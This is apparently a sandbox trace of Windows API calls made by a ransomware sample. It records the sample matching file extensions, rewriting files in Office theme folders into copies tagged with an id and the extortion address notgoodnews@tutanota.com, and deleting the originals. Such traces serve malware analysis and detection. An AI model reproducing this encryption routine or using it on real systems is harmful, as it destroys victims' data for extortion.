lstrlenW (lpString=".bz2") returned 4 [0072.581] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.581] lstrlenW (lpString=".7z") returned 3 [0072.581] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.582] lstrlenW (lpString=".dbf") returned 4 [0072.582] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.582] lstrlenW (lpString=".1cd") returned 4 [0072.582] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.582] lstrlenW (lpString=".jpg") returned 4 [0072.582] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.582] lstrlenW (lpString=".doc") returned 4 [0072.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.582] lstrlenW (lpString=".docx") returned 5 [0072.582] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.582] lstrlenW (lpString=".pdf") returned 4 [0072.582] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.582] lstrlenW (lpString=".xls") returned 4 [0072.582] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.582] lstrlenW (lpString=".xlsx") returned 5 [0072.582] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.582] lstrlenW (lpString=".ppt") returned 4 [0072.582] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.583] lstrlenW (lpString=".zip") returned 4 [0072.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.583] lstrlenW (lpString=".rar") returned 4 [0072.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.583] lstrlenW (lpString=".bz2") returned 4 [0072.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.583] lstrlenW (lpString=".7z") returned 3 [0072.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.583] lstrlenW (lpString=".dbf") returned 4 [0072.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.583] lstrlenW (lpString=".1cd") returned 4 [0072.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.583] lstrlenW (lpString=".jpg") returned 4 [0072.583] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.583] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.584] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.585] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=44850) returned 1 [0072.585] CloseHandle (hObject=0x208) returned 1 [0072.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0072.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.585] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.586] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0072.586] GetLastError () returned 0x0 [0072.586] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0072.589] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0072.592] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.592] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.592] SetEndOfFile (hFile=0x1ec) returned 1 [0072.592] CloseHandle (hObject=0x1ec) returned 1 [0072.593] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.593] SetEndOfFile (hFile=0x208) returned 1 [0072.594] CloseHandle (hObject=0x208) returned 1 [0072.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0072.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.595] lstrlenW (lpString=".doc") returned 4 [0072.595] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.595] lstrlenW (lpString=".docx") returned 5 [0072.595] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.595] lstrlenW (lpString=".pdf") returned 4 [0072.595] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.595] lstrlenW (lpString=".xls") returned 4 [0072.595] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.595] lstrlenW (lpString=".xlsx") returned 5 [0072.595] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.595] lstrlenW (lpString=".ppt") returned 4 [0072.595] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.595] lstrlenW (lpString=".zip") returned 4 [0072.595] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.595] lstrlenW (lpString=".rar") returned 4 [0072.595] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.595] lstrlenW (lpString=".bz2") returned 4 [0072.595] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.595] lstrlenW (lpString=".7z") returned 3 [0072.595] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.596] lstrlenW (lpString=".dbf") returned 4 [0072.596] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.596] lstrlenW (lpString=".1cd") returned 4 [0072.596] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.596] lstrlenW (lpString=".jpg") returned 4 [0072.596] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.596] lstrlenW (lpString=".doc") returned 4 [0072.596] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.596] lstrlenW (lpString=".docx") returned 5 [0072.596] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.596] lstrlenW (lpString=".pdf") returned 4 [0072.596] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.596] lstrlenW (lpString=".xls") returned 4 [0072.596] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.596] lstrlenW (lpString=".xlsx") returned 5 [0072.596] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.596] lstrlenW (lpString=".ppt") returned 4 [0072.596] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.596] lstrlenW (lpString=".zip") returned 4 [0072.596] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.596] lstrlenW (lpString=".rar") returned 4 [0072.596] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.596] lstrlenW (lpString=".bz2") returned 4 [0072.597] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.597] lstrlenW (lpString=".7z") returned 3 [0072.597] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.597] lstrlenW (lpString=".dbf") returned 4 [0072.597] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.597] lstrlenW (lpString=".1cd") returned 4 [0072.597] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0072.597] lstrlenW (lpString=".jpg") returned 4 [0072.597] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.597] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.597] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.598] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1379) returned 1 [0072.598] CloseHandle (hObject=0x208) returned 1 [0072.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0072.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.598] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.598] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.789] GetLastError () returned 0x0 [0072.789] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x563, lpOverlapped=0x0) returned 1 [0072.792] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x570, lpOverlapped=0x0) returned 1 [0072.794] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.794] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.794] SetEndOfFile (hFile=0x170) returned 1 [0072.794] CloseHandle (hObject=0x170) returned 1 [0072.794] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.795] SetEndOfFile (hFile=0x208) returned 1 [0072.796] CloseHandle (hObject=0x208) returned 1 [0072.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.796] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0072.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.797] lstrlenW (lpString=".doc") returned 4 [0072.797] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.797] lstrlenW (lpString=".docx") returned 5 [0072.797] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.797] lstrlenW (lpString=".pdf") returned 4 [0072.797] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.797] lstrlenW (lpString=".xls") returned 4 [0072.797] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.797] lstrlenW (lpString=".xlsx") returned 5 [0072.797] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.797] lstrlenW (lpString=".ppt") returned 4 [0072.797] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.797] lstrlenW (lpString=".zip") returned 4 [0072.797] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.797] lstrlenW (lpString=".rar") returned 4 [0072.797] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.797] lstrlenW (lpString=".bz2") returned 4 [0072.797] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.797] lstrlenW (lpString=".7z") returned 3 [0072.797] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.797] lstrlenW (lpString=".dbf") returned 4 [0072.797] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.797] lstrlenW (lpString=".1cd") returned 4 [0072.798] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.798] lstrlenW (lpString=".jpg") returned 4 [0072.798] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.798] lstrlenW (lpString=".doc") returned 4 [0072.798] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.798] lstrlenW (lpString=".docx") returned 5 [0072.798] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.798] lstrlenW (lpString=".pdf") returned 4 [0072.798] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.798] lstrlenW (lpString=".xls") returned 4 [0072.798] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.798] lstrlenW (lpString=".xlsx") returned 5 [0072.798] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.798] lstrlenW (lpString=".ppt") returned 4 [0072.798] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.798] lstrlenW (lpString=".zip") returned 4 [0072.798] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.798] lstrlenW (lpString=".rar") returned 4 [0072.798] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.798] lstrlenW (lpString=".bz2") returned 4 [0072.798] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.798] lstrlenW (lpString=".7z") returned 3 [0072.798] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.799] lstrlenW (lpString=".dbf") returned 4 [0072.799] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.799] lstrlenW (lpString=".1cd") returned 4 [0072.799] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0072.799] lstrlenW (lpString=".jpg") returned 4 [0072.799] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.799] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.799] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.800] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2574) returned 1 [0072.800] CloseHandle (hObject=0x208) returned 1 [0072.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0072.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.804] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.805] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.808] GetLastError () returned 0x0 [0072.808] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0072.811] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0072.812] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.812] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.812] SetEndOfFile (hFile=0x170) returned 1 [0072.812] CloseHandle (hObject=0x170) returned 1 [0072.813] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.813] SetEndOfFile (hFile=0x208) returned 1 [0072.814] CloseHandle (hObject=0x208) returned 1 [0072.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.814] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0072.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.815] lstrlenW (lpString=".doc") returned 4 [0072.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.815] lstrlenW (lpString=".docx") returned 5 [0072.815] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.815] lstrlenW (lpString=".pdf") returned 4 [0072.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.815] lstrlenW (lpString=".xls") returned 4 [0072.815] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.815] lstrlenW (lpString=".xlsx") returned 5 [0072.815] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.815] lstrlenW (lpString=".ppt") returned 4 [0072.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.815] lstrlenW (lpString=".zip") returned 4 [0072.816] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.816] lstrlenW (lpString=".rar") returned 4 [0072.816] lstrcmpiW 